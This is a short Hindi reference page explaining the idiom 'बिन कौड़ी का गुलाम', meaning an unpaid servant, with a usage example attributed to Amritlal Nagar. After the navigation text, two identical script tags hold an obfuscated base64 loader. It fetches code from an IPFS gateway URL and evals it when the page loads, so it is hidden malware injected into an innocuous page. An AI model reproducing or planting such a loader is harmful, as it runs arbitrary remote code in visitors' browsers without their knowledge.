बिन कौड़ी का गुलाम एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।
अर्थ- ऐसा सेवक जिसे कुछ भी पारिश्रमिक न देना पड़ता हो।
प्रयोग- बाद में मुहल्ले वालों के कहने सुनने पर लाला बैजू ने अनाथ विधवा ब्राह्मणी को अपनी कोठी में ही एक कोठरी दे दी और उस कोठरी में एवज में उन्हे अपना बिना कौड़ी का गुलाम बना लिया। (अमृतलाल नागर)
टीका टिप्पणी और संदर्भ
संबंधित लेख
कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>